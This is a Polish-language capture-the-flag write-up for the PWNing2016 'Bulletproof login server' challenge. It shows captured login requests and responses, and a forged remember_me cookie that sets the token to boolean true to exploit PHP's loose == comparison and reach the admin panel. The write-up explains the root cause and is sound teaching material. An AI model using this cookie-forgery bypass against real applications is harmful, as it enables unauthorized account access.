Bulletproof login server™ - PWNing2016
Bulletproof login server™
Punkty: 100 Rozwiązań: 49
Panel admina firmy Januszex z Randomia. Nie włamiesz się. Link: https://monk.pwning2016.p4.team Udało nam się znaleźć na śmietniku ich stary dysk twardy z którego odzyskaliśmy część kodu strony.
Rozezeznanie
Mamy dostępne dwa linki, jeden do strony a drugi do kodu pliku o nazwie admin.php.corrupted.txt
admin.php.corrupted.txt
Zaczniemy od analizy pliku admin.php.corrupted.txt
. Kod w pliku prezentuje się tak:
A oto moje wnioski:
Uwierzytelnianie użytkownika opiera się na ciasteczku remember_me
, które składa się z loginu (admin
demo
) oraz tokenu, który jest sprawdzany za pomocą funkcjigetUserAuthToken(<login>)
.- Jeżeli nie jesteśmy zalogowani a ciasteczko
remember_me
jest ustawione, to zostanie wywołany kod echo.
Niewiele informacji ale sprawdźmy reszte
login.php
Po wejściu na strone widzimy panel logowania, który informuje nas o użytkowniku demo (natkneliśmy się na niego również w kodzie, wcześniej) oraz o haśle jakie ma.
Po zajrzeniu w kod strony nic po za bootstrapem i formularzem ciekawego nie ma:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<form action="" method="POST" enctype="multipart/form-data">
<div class="form-group">
<label for="login">Login</label>
<input type="text" name="login" class="form-control">
</div>
<div class="form-group">
<label for="password">Password</label>
<input type="password" name="password" class="form-control">
</div>
<div class="checkbox">
<label>
<input type="checkbox" checked disabled> For your convenience we always remember you.
</label>
</div>
<button type="submit" class="btn btn-default">Submit</button>
</form>
Sprawdzę jak wygląda wysyłanie requestu logowania:
Błędne dane
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
POST /login.php HTTP/2
Host: monk.pwning2016.p4.team
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------264215124639808579761785133742
Content-Length: 296
Origin: https://monk.pwning2016.p4.team
Connection: keep-alive
Referer: https://monk.pwning2016.p4.team/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
TE: trailers
-----------------------------264215124639808579761785133742
Content-Disposition: form-data; name="login"
1337
-----------------------------264215124639808579761785133742
Content-Disposition: form-data; name="password"
1337
-----------------------------264215124639808579761785133742--
Odpowiedź nie jest interesująca
Konto demo
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /login.php HTTP/2
Host: monk.pwning2016.p4.team
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=---------------------------164494905017473373402467738118
Content-Length: 299
Origin: https://monk.pwning2016.p4.team
Connection: keep-alive
Referer: https://monk.pwning2016.p4.team/login.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
-----------------------------164494905017473373402467738118
Content-Disposition: form-data; name="login"
demo
-----------------------------164494905017473373402467738118
Content-Disposition: form-data; name="password"
demo123
-----------------------------164494905017473373402467738118--
Od razu możemy zauważyć, że Content-Type: multipart/form-data; boundary=
różni się od poprzedniego. Odpowiedź:
1
2
3
4
5
6
7
8
HTTP/2 302 Found
server: nginx
date: Mon, 19 Jun 2023 05:15:40 GMT
content-type: text/html; charset=UTF-8
content-length: 0
set-cookie: remember_me=%7B%22login%22%3A%22demo%22%2C%22token%22%3A%22f0d34353e4de11b28825dc2a5736c17504804013%22%7D; expires=Mon, 03-Jul-2023 05:15:40 GMT; Max-Age=1209600
location: admin.php
X-Firefox-Spdy: h2
Natomiast w odpowiedzi zostaje ustawione ciasteczko:
1
{"login":"demo","token":"f0d34353e4de11b28825dc2a5736c17504804013"}
Jeżeli podmienimy ciasteczko na:
1
{"login":"demo","token":"0000000000000000000000000000000000000000"}
otrzymamy: Czyli już mniej więcej wiemy za co odpowiada wcześniej analizowany przeze mnie kod. Sprawdźmy czy jest tu możliwe wykonanie wrzucenie czegoś innego. Wyślemy:
1
{"login":"admin","token":true}
Po sformatowaniu na poprawne URL mamy:
1
%7B%22login%22:%22admin%22,%22token%22:true%7D
Oj i mamy flagę.
Podsumowanie
Po przeanalizowaniu kodu jeszcze raz okazuje się, że kod który był zaciemniony jest niepotrzebny a cały problem polegał na walidacji danych:
1
if ($obj['login'] == 'admin' && $obj['token'] == getUserAuthToken('admin'))
Problemem jest użycie operatora ==
zamiast ===
powoduje to rzutowanie zwracanej wartości funkcji getUserAuthToken('admin')
na wartość boolowską a z racji, że jest to nie pusty string to otrzymujemy true, gdzie finalnie otrzymujemy true == true